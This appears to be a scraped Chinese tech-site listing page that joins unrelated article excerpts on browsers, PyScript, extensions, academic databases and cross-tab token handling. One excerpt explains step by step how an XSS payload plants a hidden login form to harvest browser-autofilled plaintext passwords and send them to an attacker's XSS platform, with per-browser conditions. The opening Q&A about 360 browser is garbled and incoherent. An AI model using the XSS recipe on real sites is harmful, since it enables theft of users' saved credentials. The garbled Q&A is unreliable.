  谁教你的我也是一直没搞懂360浏览器具体干了什么?360浏览器抓取网页。看起来是一样的意思。如果是第一次打开chrome,右键点击我的账户,就可以看到第一个浏览器页面的cookies。无法取消。如果想要修改,可以用正则表达式或者re。
  你以为百度干吗的?
  卸载了360试试
  请下载安装正版chrome浏览器。用chrome的浏览器刷网页只是捕捉到你现在看到的网页,但是browser跟chrome的兼容性不是很好,一些网站对chrome有可能不兼容。一些在公司服务器也被发现篡改,浏览器上编号为ahtml的字符串被篡改会导致不安全。无奈下也只能刷机重装。 查看全部

  浏览器抓取网页动态html只能用webdriver,或者chrome做代理
  浏览器抓取网页动态html只能用webdriver,或者chrome做代理。比如360浏览器。正常情况下会有一个360浏览器的快捷方式或者直接百度一下360浏览器就会跳转到360浏览器的相关设置里面。接着按照里面的配置,来将chrome网页抓取,然后用chrome提供的书签网址导入到自己的浏览器书签站点里面,书签网址可以自定义的。这样浏览器就能够抓取网页html,方便于自己检测并且代理变化。
  可以,用正则表达式+正则表达式,即可抓取,正则表达式就是后台去匹配特定站点,匹配之后在另一个页面接着匹配,
  学点python,好像浏览器可以做的事情,
  先搜索引擎,再webbrowser,
  请你告诉我360浏览器是怎么抓我的。
  谁教你的我也是一直没搞懂360浏览器具体干了什么?360浏览器抓取网页。看起来是一样的意思。如果是第一次打开chrome,右键点击我的账户,就可以看到第一个浏览器页面的cookies。无法取消。如果想要修改,可以用正则表达式或者re。
  你以为百度干吗的?
  卸载了360试试
  请下载安装正版chrome浏览器。用chrome的浏览器刷网页只是捕捉到你现在看到的网页,但是browser跟chrome的兼容性不是很好,一些网站对chrome有可能不兼容。一些在公司服务器也被发现篡改,浏览器上编号为ahtml的字符串被篡改会导致不安全。无奈下也只能刷机重装。

真的来了!浏览器端可以直接运行Python了!

网站优化优采云 发表了文章 • 0 个评论 • 188 次浏览 • 2022-05-18 19:34 • 来自相关话题

  真的来了!浏览器端可以直接运行Python了!
  来源 | OSC开源社区(ID:oschina2013)
  知名 Python 发行版 Anaconda 开发商近日宣布了可在浏览器端运行的 Python ——PyScript。
  
  根据官方的介绍,PyScript 是一个开发框架,为开发者提供了在标准 HTML 中嵌入编写 Python 代码的能力、使用 Python 调用 JavaScript 函数库,以及创建 Python Web 应用。PyScript 旨在提供“一等公民(first-class)”的编程语言,它具有一致的风格化规则、更具表现力且更易于学习。
  PyScript 示例代码
  <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />"Hello World"<br /></p>
  
   <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />- bokeh<br />- numpy<br />- paths:<br /> - /utils.py<br /> </p>
  PyScript 核心特性
  PyScript 目标
  PyScript 基于 Pyodide 构建,Pyodide 由编译成 WebAssembly 的 CPython 3.8 解释器组成,允许在网页浏览器中运行 Python。Pyodide 可以安装来自 PyPi 的任何 Python 包。Pyodide 还包括一个外部函数接口,可以将 Python 包暴露给 JavaScript,并将浏览器 UI,包括 DOM,暴露给 Python。
   查看全部

  真的来了!浏览器端可以直接运行Python了!
  来源 | OSC开源社区(ID:oschina2013)
  知名 Python 发行版 Anaconda 开发商近日宣布了可在浏览器端运行的 Python ——PyScript。
  
  根据官方的介绍,PyScript 是一个开发框架,为开发者提供了在标准 HTML 中嵌入编写 Python 代码的能力、使用 Python 调用 JavaScript 函数库,以及创建 Python Web 应用。PyScript 旨在提供“一等公民(first-class)”的编程语言,它具有一致的风格化规则、更具表现力且更易于学习。
  PyScript 示例代码
  <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />"Hello World"<br /></p>
  
   <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />- bokeh<br />- numpy<br />- paths:<br /> - /utils.py<br /> </p>
  PyScript 核心特性
  PyScript 目标
  PyScript 基于 Pyodide 构建,Pyodide 由编译成 WebAssembly 的 CPython 3.8 解释器组成,允许在网页浏览器中运行 Python。Pyodide 可以安装来自 PyPi 的任何 Python 包。Pyodide 还包括一个外部函数接口,可以将 Python 包暴露给 JavaScript,并将浏览器 UI,包括 DOM,暴露给 Python。
  

为什么外校进不了top1高校的论文数据库?一个道理

网站优化优采云 发表了文章 • 0 个评论 • 84 次浏览 • 2022-05-15 19:05 • 来自相关话题

  为什么外校进不了top1高校的论文数据库?一个道理
  浏览器抓取网页源代码,然后与上下文库匹配,返回页面,清华北大就可以抓取网站上的很多文章,清华北大本身是高校(包括专科),包括国际权威期刊等发布的论文数据库,它使用的更是原始网页上的,而且大部分学校就跟清华北大有合作。方案就在清华北大合作的其他高校了,比如哈工大、西交等等,我仅仅是搬运工,以上请采纳。
  单纯学术类,搜索期刊论文。
  发布论文的老师引用或者复制各个高校的论文数据库,别看普通本科高校,
  不好说
  很正常的吧如果全部都有,看谁的。这样还可以避免封其他期刊。
  查一下这个论文可不可以用他的数据库、ei、sci。
  那要问谁了。只要出钱,不是普通大学大夫,论文可以随便用。
  没有影响
  要看人家有没有开论文下载功能,有,就用用;没有,就不能用。
  本科的话可以大部分清北的文章都有可能在搜索引擎(优先本校)或者学校图书馆查到,清北的资源,肯定要到他们的学校去使用。上次有在哪里看到很多清北硕博论文的话,知网就可以查到。
  为什么外校进不了top1高校的检索库?一个道理
  根据二级学科分类,可以看到其他学校开发的相关数据库和论文,本科的话清北不一定都要收,或者说不少学校不是那么重视本科, 查看全部

  为什么外校进不了top1高校的论文数据库?一个道理
  浏览器抓取网页源代码,然后与上下文库匹配,返回页面,清华北大就可以抓取网站上的很多文章,清华北大本身是高校(包括专科),包括国际权威期刊等发布的论文数据库,它使用的更是原始网页上的,而且大部分学校就跟清华北大有合作。方案就在清华北大合作的其他高校了,比如哈工大、西交等等,我仅仅是搬运工,以上请采纳。
  单纯学术类,搜索期刊论文。
  发布论文的老师引用或者复制各个高校的论文数据库,别看普通本科高校,
  不好说
  很正常的吧如果全部都有,看谁的。这样还可以避免封其他期刊。
  查一下这个论文可不可以用他的数据库、ei、sci。
  那要问谁了。只要出钱,不是普通大学大夫,论文可以随便用。
  没有影响
  要看人家有没有开论文下载功能,有,就用用;没有,就不能用。
  本科的话可以大部分清北的文章都有可能在搜索引擎(优先本校)或者学校图书馆查到,清北的资源,肯定要到他们的学校去使用。上次有在哪里看到很多清北硕博论文的话,知网就可以查到。
  为什么外校进不了top1高校的检索库?一个道理
  根据二级学科分类,可以看到其他学校开发的相关数据库和论文,本科的话清北不一定都要收,或者说不少学校不是那么重视本科,

「插件」4款浏览器神级扩展插件,效率提升80%(第五弹)

网站优化优采云 发表了文章 • 0 个评论 • 177 次浏览 • 2022-05-14 23:17 • 来自相关话题

  「插件」4款浏览器神级扩展插件,效率提升80%(第五弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Toby mini
  Toby mini是一款用于管理标签页的插件,由于一些工作需要或者学习需求我们经常会开启很多个浏览器的标签页,有时候开多了标题都看不到都不知道哪个是哪个了。这里推荐大家使用这款Toby插件,它可以将你未读完的标签页显示在新标签页中,这样就不用同时打开那么多页面了,想要浏览可以随时打开。
  
  图片助手
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Click&Clean
  Click&Clean是一款利用清理浏览器历史记录的扩展插件,当浏览器关闭时,Click&Clean就会删除你的浏览历史,防止他人跟踪你的网上活动。清除隐私数据 当您关闭浏览器:清除浏览历史记录, 清除下载历史记录;清空缓存;删除 Cookie;清除已保存的密码, 清除已保存的表单数据等等
  
  货币转换器
  货币转换器是一款可以实时计算货币汇率的浏览器扩展插件,货币转换器使用特别广泛,可以在旅行计划中使用它,交易外汇市场,股票交易所,甚至可以使用二元期权来转换世界上任何地方的货币。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202226」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
   查看全部

  「插件」4款浏览器神级扩展插件,效率提升80%(第五弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Toby mini
  Toby mini是一款用于管理标签页的插件,由于一些工作需要或者学习需求我们经常会开启很多个浏览器的标签页,有时候开多了标题都看不到都不知道哪个是哪个了。这里推荐大家使用这款Toby插件,它可以将你未读完的标签页显示在新标签页中,这样就不用同时打开那么多页面了,想要浏览可以随时打开。
  
  图片助手
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Click&Clean
  Click&Clean是一款利用清理浏览器历史记录的扩展插件,当浏览器关闭时,Click&Clean就会删除你的浏览历史,防止他人跟踪你的网上活动。清除隐私数据 当您关闭浏览器:清除浏览历史记录, 清除下载历史记录;清空缓存;删除 Cookie;清除已保存的密码, 清除已保存的表单数据等等
  
  货币转换器
  货币转换器是一款可以实时计算货币汇率的浏览器扩展插件,货币转换器使用特别广泛,可以在旅行计划中使用它,交易外汇市场,股票交易所,甚至可以使用二元期权来转换世界上任何地方的货币。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202226」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
  

Xss抓浏览器保存的明文密码

网站优化优采云 发表了文章 • 0 个评论 • 135 次浏览 • 2022-05-12 11:38 • 来自相关话题

  Xss抓浏览器保存的明文密码
  
  0x00 前言众所周知,挖src时xss是鄙视链最底端的漏洞,通常就是一个中危+50积分打发了事。这一点我很不理解,xss漏洞在我心里地位很高,因为这是常见web漏洞中唯一能打到个人机的漏洞(xss水坑,成功率很高)。
  在我平时的工作中,可以说项目的最终目标就是找一个xss。比如发现一个sql注入,首先看能不能堆叠注入update插一个script标签进去。哪怕getshell了,第一件事也是定位前端源码插script。
  不仅如此,在其他方面xss的表现也很全能:可以进后台拖数据、抓端口、抓明文密码便于后续渗透、打客户端所在的内网资产等等。
  有xss就意味着项目基本结束,而其他漏洞都做不到这一点(即使getshell了也可能没有权限改前端源码,不如有一个xss)。仅凭一个漏洞就能做到这么多事情,我认为xss在web领域是当之无愧的漏洞之王。
  好了,关于xss就先吹到这里,今天我要分享一个用xss抓明文密码的方案——获取浏览器保存的明文密码。
  0x01原理本文参考自余弦大牛几年前的文章《XSS攻击:获取浏览器记住的明文密码》。时过境迁,其中方案实现的部分细节已经有所改动,但核心原理是一样的。
  原理就是利用浏览器记住密码和表单自动填充的机制,只要密码被填充到表单里了,xss就有办法能获取表单的值,也就是明文密码。
  
  而浏览器自动填充的机制并没有那么安全,只要浏览器认为你用xss创建的表单是一个登录框,那它就会把之前保存的账密填进去,并不会进一步确认是不是同一个框,十分弱智。
  虽然距离余弦大牛公开文章也有几年了,各浏览器也做了一些防护措施,但仍没能从根本上解决问题,这套方案很大程度上还是有用武之地的。
  小黑之前也写过一篇文章是用js代码获取明文密码的——《》,新方案和旧方案没有高低之分,只是适用场景不同。两个方案的区别点如下:
  旧方案:js代码必须插在和登录框同一个页面。
  新方案:js代码不需要插在登录框,只要是和登录框同域的页面都可以抓到(部分浏览器甚至可以跨域)。但是用户必须已经用浏览器记住密码。且大部分浏览器要求https的网站才会自动填充。
  0x02 xss平台代码xss的利用方式很多都依靠xss平台,因为种种原因考虑,这套方案在xss平台上的代码我就不放出来了,只在文章里说一下代码的流程原理。
  本代码根据经典xss平台默认模块《获取浏览器记住的明文密码》 改编。流程如下:
  (1)生成一个body标签对,避免页面没有body标签的尴尬情况。(表单必须在body里才会被自动填充)
  (2)创建表单,设置样式为隐藏。
  (避免被人眼发现)(3)给表单加两个输入框,分别设置type属性为text和password。(经过实测,只要这样设置好了type,浏览器就会认为这个表单是一个登录框了)(4)监听html的点击事件,事件触发后发送表单数据到xss平台。(部分浏览器做的防御措施,只有页面被点一下之后才是真正的自动填充,且必须是真点,js代码主动调用的点击事件不算数)
  没了,就这么简单。总体代码量不大,如果大家不会写js代码,可以去给前端妹子买杯奶茶求帮写。
  0x03 各浏览器的差异这套方案本质上是利用了浏览器的逻辑漏洞,所以在不同浏览器上使用会有所差异,我这里测试了四款浏览器的最新版本,在这里分享一下:
  【谷歌浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【搜狗浏览器】(1)http和https都会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)可以跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示不明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【火狐浏览器】(1)只有https或127的站点会自动填充(2)不需要点击就能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  【edge浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  大家在项目中遇到没有测试过的浏览器也可以自行测试一下,测试要点如下:
  【测试指南】(1)自动填充有没有什么条件(如https)(2)需不需要点一下才能获取(一般跳转到页面时点的一下也算)(3)autocomplete(4)测试能不能跨域抓(5)不安全的https能否自动填充(6)其他
  当然也可以委托我帮忙测试,不过要收费哈哈哈。
  0x04 后记
  VX公众号:《小黑的安全笔记》没什么啦,最近好多公众号都在发新年总结,小黑的就留到农历新年再写吧。
  打游戏去啦,拜拜。
  END.
  喵,点个赞再走吧~ 查看全部

  Xss抓浏览器保存的明文密码
  
  0x00 前言众所周知,挖src时xss是鄙视链最底端的漏洞,通常就是一个中危+50积分打发了事。这一点我很不理解,xss漏洞在我心里地位很高,因为这是常见web漏洞中唯一能打到个人机的漏洞(xss水坑,成功率很高)。
  在我平时的工作中,可以说项目的最终目标就是找一个xss。比如发现一个sql注入,首先看能不能堆叠注入update插一个script标签进去。哪怕getshell了,第一件事也是定位前端源码插script。
  不仅如此,在其他方面xss的表现也很全能:可以进后台拖数据、抓端口、抓明文密码便于后续渗透、打客户端所在的内网资产等等。
  有xss就意味着项目基本结束,而其他漏洞都做不到这一点(即使getshell了也可能没有权限改前端源码,不如有一个xss)。仅凭一个漏洞就能做到这么多事情,我认为xss在web领域是当之无愧的漏洞之王。
  好了,关于xss就先吹到这里,今天我要分享一个用xss抓明文密码的方案——获取浏览器保存的明文密码。
  0x01原理本文参考自余弦大牛几年前的文章《XSS攻击:获取浏览器记住的明文密码》。时过境迁,其中方案实现的部分细节已经有所改动,但核心原理是一样的。
  原理就是利用浏览器记住密码和表单自动填充的机制,只要密码被填充到表单里了,xss就有办法能获取表单的值,也就是明文密码。
  
  而浏览器自动填充的机制并没有那么安全,只要浏览器认为你用xss创建的表单是一个登录框,那它就会把之前保存的账密填进去,并不会进一步确认是不是同一个框,十分弱智。
  虽然距离余弦大牛公开文章也有几年了,各浏览器也做了一些防护措施,但仍没能从根本上解决问题,这套方案很大程度上还是有用武之地的。
  小黑之前也写过一篇文章是用js代码获取明文密码的——《》,新方案和旧方案没有高低之分,只是适用场景不同。两个方案的区别点如下:
  旧方案:js代码必须插在和登录框同一个页面。
  新方案:js代码不需要插在登录框,只要是和登录框同域的页面都可以抓到(部分浏览器甚至可以跨域)。但是用户必须已经用浏览器记住密码。且大部分浏览器要求https的网站才会自动填充。
  0x02 xss平台代码xss的利用方式很多都依靠xss平台,因为种种原因考虑,这套方案在xss平台上的代码我就不放出来了,只在文章里说一下代码的流程原理。
  本代码根据经典xss平台默认模块《获取浏览器记住的明文密码》 改编。流程如下:
  (1)生成一个body标签对,避免页面没有body标签的尴尬情况。(表单必须在body里才会被自动填充)
  (2)创建表单,设置样式为隐藏。
  (避免被人眼发现)(3)给表单加两个输入框,分别设置type属性为text和password。(经过实测,只要这样设置好了type,浏览器就会认为这个表单是一个登录框了)(4)监听html的点击事件,事件触发后发送表单数据到xss平台。(部分浏览器做的防御措施,只有页面被点一下之后才是真正的自动填充,且必须是真点,js代码主动调用的点击事件不算数)
  没了,就这么简单。总体代码量不大,如果大家不会写js代码,可以去给前端妹子买杯奶茶求帮写。
  0x03 各浏览器的差异这套方案本质上是利用了浏览器的逻辑漏洞,所以在不同浏览器上使用会有所差异,我这里测试了四款浏览器的最新版本,在这里分享一下:
  【谷歌浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【搜狗浏览器】(1)http和https都会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)可以跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示不明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【火狐浏览器】(1)只有https或127的站点会自动填充(2)不需要点击就能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  【edge浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  大家在项目中遇到没有测试过的浏览器也可以自行测试一下,测试要点如下:
  【测试指南】(1)自动填充有没有什么条件(如https)(2)需不需要点一下才能获取(一般跳转到页面时点的一下也算)(3)autocomplete(4)测试能不能跨域抓(5)不安全的https能否自动填充(6)其他
  当然也可以委托我帮忙测试,不过要收费哈哈哈。
  0x04 后记
  VX公众号:《小黑的安全笔记》没什么啦,最近好多公众号都在发新年总结,小黑的就留到农历新年再写吧。
  打游戏去啦,拜拜。
  END.
  喵,点个赞再走吧~

批量提取网页图片浏览器插件2022

网站优化优采云 发表了文章 • 0 个评论 • 161 次浏览 • 2022-05-12 11:12 • 来自相关话题

  批量提取网页图片浏览器插件2022
  批量提取网页图片浏览器插件2022
  产品菌
  产品经理ICU
  dayin120
  专注分享产品经理知识与干货/软件攻略,产品教程/知识地图/智慧行业解决方案
  收录于合集
  01
  插件介绍
  今天给大家分享一款浏览器中用于网页图片批量提取、下载的扩展程序:图片助手(ImageAssistant)。
  使用方法:
  第一种:浏览器「扩展程序」中搜索图片助手安装。
  第二种:本文下方小程序获取插件拖拽到浏览器安装。
  支持在chrome、Firefox、360浏览器、Edge浏览器等中使用,提升的效率有多少就不说了,大家可以自行体验。
  
  02写在最后
  点击下方小程序或回复“图片助手”获取
  如果对这个插件感兴趣的小伙伴,可以在上方资源列表中获取下载链接,获取时请注意对应的标题和日期(2022-05-07)。
   查看全部

  批量提取网页图片浏览器插件2022
  批量提取网页图片浏览器插件2022
  产品菌
  产品经理ICU
  dayin120
  专注分享产品经理知识与干货/软件攻略,产品教程/知识地图/智慧行业解决方案
  收录于合集
  01
  插件介绍
  今天给大家分享一款浏览器中用于网页图片批量提取、下载的扩展程序:图片助手(ImageAssistant)。
  使用方法:
  第一种:浏览器「扩展程序」中搜索图片助手安装。
  第二种:本文下方小程序获取插件拖拽到浏览器安装。
  支持在chrome、Firefox、360浏览器、Edge浏览器等中使用,提升的效率有多少就不说了,大家可以自行体验。
  
  02写在最后
  点击下方小程序或回复“图片助手”获取
  如果对这个插件感兴趣的小伙伴,可以在上方资源列表中获取下载链接,获取时请注意对应的标题和日期(2022-05-07)。
  

同一浏览器打开两个同源页面引发的bug【@码云 提个小优化】

网站优化优采云 发表了文章 • 0 个评论 • 96 次浏览 • 2022-05-07 22:22 • 来自相关话题

  同一浏览器打开两个同源页面引发的bug【@码云 提个小优化】
  哈喽,大家好 我是xy‍。今天给大家来分享一个bug。在同一浏览器打开两个同源页面发生的数据串改的问题,当然这篇文章只是用码云来举个例子,其它很多大型网站都中招了
  背景
  一天下午,某某上帝(客户就是上帝)正在使用的我们公司的产品,在浏览器打开A标签页登录了a账号,然后又到B标签页登录了b账号,也就是同时登录了两个账号,然后到A下去操作数据(不刷新页面),结果造成了在A下修改到了B的数据,而且两个账号的权限还存在差异
  为什么会被串改
  至于为什么会修改到 B 的数据:
  前端把用户信息和 token 之类的是存储在浏览器本地的,这样一来,打开新的标签页登录其它账户,由于是同源页面,新的标签页的用户信息和token肯定会覆盖掉前一个标签页的用户信息和token,在页面不刷新的情况下,操作a账户下的数据,其实是操作的b下的数据
  很多同学遇到这个问题的第一反应:
  这个不是很正常的操作吗或者让用户刷新页面不就好了,包括我也是这样想的
  同时也查看了市面上的一些产品,同样有类似的问题,就拿我们比较熟悉的 码云 来说吧,我特地的注册了两个账号
  注册的新账号在第一个标签页登录
  
  因为是全新的账号,没有任何信息之类的
  打开新的标签页,先退出登录,然后登录我之前一直使用的账号
  
  自己一直使用的账号通知和私信还是有不少内容的
  回到第一个标签页
  
  账户明明是新的账户,但是却把自己使用的旧账户的数据给展示过来了
  当时心里暗喜,码云这么大的平台都没做处理,我们应该也无所谓了 ✌️
  但是我就是个打工仔,搞不搞还不是领导说了算吗?既然领导已经提了这个需求,并且强烈要求优化用户体验,只能想办法解决喽
  需求方案方案 1:方案 2:回归问题本质
  这个问题的本质其实就是:由于是同源页面,新的标签页的用户信息和token会覆盖掉前一个标签页的用户信息和token
  既然本质问题是本地存储替换的问题,那就想办法着手解决喽 ‍♂️
  如何做到同时登录两个账号
  做到两个账号同时登录互不干涉,其实只需要保证本地存储互不影响,让不同的用户存储的 token 的键名不一样
  实现方法:在登录的时候存储用userName+token作为键来存储token
  import Cookies from 'js-cookie'<br /><br />export function setToken( token, userName ) {<br />  return Cookies.set( userName + 'token', token, { expires: xxxx } )<br />}<br />
  但是需要考虑到这个时候用户名:userName也可能会被覆盖,所以在每次刷新页面之前,把用户名存储到sessionStorage中去
  window.addEventListener("beforeunload", () => {<br />  sessionStorage.setItem("userName", this.userName || "");<br />});<br />
  为什么要放到sessionStorage中呢 ?
  因为sessionStorage生命周期为当前窗口或标签页,也就是每个标签页中的sessionStorage互不影响,即使是同源页面
  获取 token 直接根据userName+token获取即可
  export function getToken() {<br />  return Cookies.get( sessionStorage.getItem( 'userName' ) + 'token' )<br />}<br />
  好了,到这里基本上完美解决想要同一个浏览器登录多个用户账号的问题
  前一个标签强制刷新或者重定向
  再次回到问题本身,还是本地存储的问题。打开第二个同源页面标签页,有没有办法能够告诉第一个标签页呢???
  当然有办法了,我们可以利用 HTML5 storage事件监听:
  HTML5 storage事件监听:当同源页面的某个页面修改了localStorage,其余的同源页面只要注册了storage事件,就会触发
  Web Storage API内建了一套事件通知机制,当存储区域的内容发生改变(包括增加、修改、删除数据)时,就会自动触发 storage 事件,并把它发送给所有感兴趣的监听者。因此,如果需要跟踪存储区域的改变,就需要在关心存储区域内容的页面监听storage事件。
   window.addEventListener("storage", (e)=>{<br />   // 获取 e 后做一系列判断操作<br /> }, false);<br />
  实际上,这个事件e上还带有很多信息,可以对事件做精确的控制 。
  字段含义
  key
  发生变化的 storageKey
  newValue
  变换后新值
  oldValue
  变换前原值
  storageArea
  相关的变化对象
  url
  触发变化的 URL,如果是 frameset 内,则是触发帧的 URL
  有了这些内容,就可以根据自己的业务需求来做需要的操作了。
  但是这里注意一个问题,只有当同源页面的某个页面修改了localStorage,也就是不修改,还是监听不到的。
  如果直接把第一个标签页的链接复制到第二个标签页,本地存储是不会更改的,这个时候第一个标签页的监听事件将不会触发
  这个时候可以在每次页面初始化的时候在 localStorage 中写入一个唯一的标识,建议是时间戳之类的,这样即使把地址复制到第二个标签页中,也会执行初始化操作,时间戳改变就会触发监听的storage事件。
  ok 了,问题统统解决
  最后想@码云以及很多存在此类问题的网站都提出这个优化点,2022,让我们变得更好吧 。
  写在最后
  公众号:前端开发爱好者 专注分享 web 前端相关技术文章、视频教程资源、热点资讯等,如果喜欢我的分享,给 点一个赞 或者 ➕关注 都是对我最大的支持。
  欢迎长按图片加好友,我会第一时间和你分享前端行业趋势,面试资源,学习途径等等。
  
  添加好友备注【进阶学习】拉你进技术交流群 查看全部

  同一浏览器打开两个同源页面引发的bug【@码云 提个小优化】
  哈喽,大家好 我是xy‍。今天给大家来分享一个bug。在同一浏览器打开两个同源页面发生的数据串改的问题,当然这篇文章只是用码云来举个例子,其它很多大型网站都中招了
  背景
  一天下午,某某上帝(客户就是上帝)正在使用的我们公司的产品,在浏览器打开A标签页登录了a账号,然后又到B标签页登录了b账号,也就是同时登录了两个账号,然后到A下去操作数据(不刷新页面),结果造成了在A下修改到了B的数据,而且两个账号的权限还存在差异
  为什么会被串改
  至于为什么会修改到 B 的数据:
  前端把用户信息和 token 之类的是存储在浏览器本地的,这样一来,打开新的标签页登录其它账户,由于是同源页面,新的标签页的用户信息和token肯定会覆盖掉前一个标签页的用户信息和token,在页面不刷新的情况下,操作a账户下的数据,其实是操作的b下的数据
  很多同学遇到这个问题的第一反应:
  这个不是很正常的操作吗或者让用户刷新页面不就好了,包括我也是这样想的
  同时也查看了市面上的一些产品,同样有类似的问题,就拿我们比较熟悉的 码云 来说吧,我特地的注册了两个账号
  注册的新账号在第一个标签页登录
  
  因为是全新的账号,没有任何信息之类的
  打开新的标签页,先退出登录,然后登录我之前一直使用的账号
  
  自己一直使用的账号通知和私信还是有不少内容的
  回到第一个标签页
  
  账户明明是新的账户,但是却把自己使用的旧账户的数据给展示过来了
  当时心里暗喜,码云这么大的平台都没做处理,我们应该也无所谓了 ✌️
  但是我就是个打工仔,搞不搞还不是领导说了算吗?既然领导已经提了这个需求,并且强烈要求优化用户体验,只能想办法解决喽
  需求方案方案 1:方案 2:回归问题本质
  这个问题的本质其实就是:由于是同源页面,新的标签页的用户信息和token会覆盖掉前一个标签页的用户信息和token
  既然本质问题是本地存储替换的问题,那就想办法着手解决喽 ‍♂️
  如何做到同时登录两个账号
  做到两个账号同时登录互不干涉,其实只需要保证本地存储互不影响,让不同的用户存储的 token 的键名不一样
  实现方法:在登录的时候存储用userName+token作为键来存储token
  import Cookies from 'js-cookie'<br /><br />export function setToken( token, userName ) {<br />  return Cookies.set( userName + 'token', token, { expires: xxxx } )<br />}<br />
  但是需要考虑到这个时候用户名:userName也可能会被覆盖,所以在每次刷新页面之前,把用户名存储到sessionStorage中去
  window.addEventListener("beforeunload", () => {<br />  sessionStorage.setItem("userName", this.userName || "");<br />});<br />
  为什么要放到sessionStorage中呢 ?
  因为sessionStorage生命周期为当前窗口或标签页,也就是每个标签页中的sessionStorage互不影响,即使是同源页面
  获取 token 直接根据userName+token获取即可
  export function getToken() {<br />  return Cookies.get( sessionStorage.getItem( 'userName' ) + 'token' )<br />}<br />
  好了,到这里基本上完美解决想要同一个浏览器登录多个用户账号的问题
  前一个标签强制刷新或者重定向
  再次回到问题本身,还是本地存储的问题。打开第二个同源页面标签页,有没有办法能够告诉第一个标签页呢???
  当然有办法了,我们可以利用 HTML5 storage事件监听:
  HTML5 storage事件监听:当同源页面的某个页面修改了localStorage,其余的同源页面只要注册了storage事件,就会触发
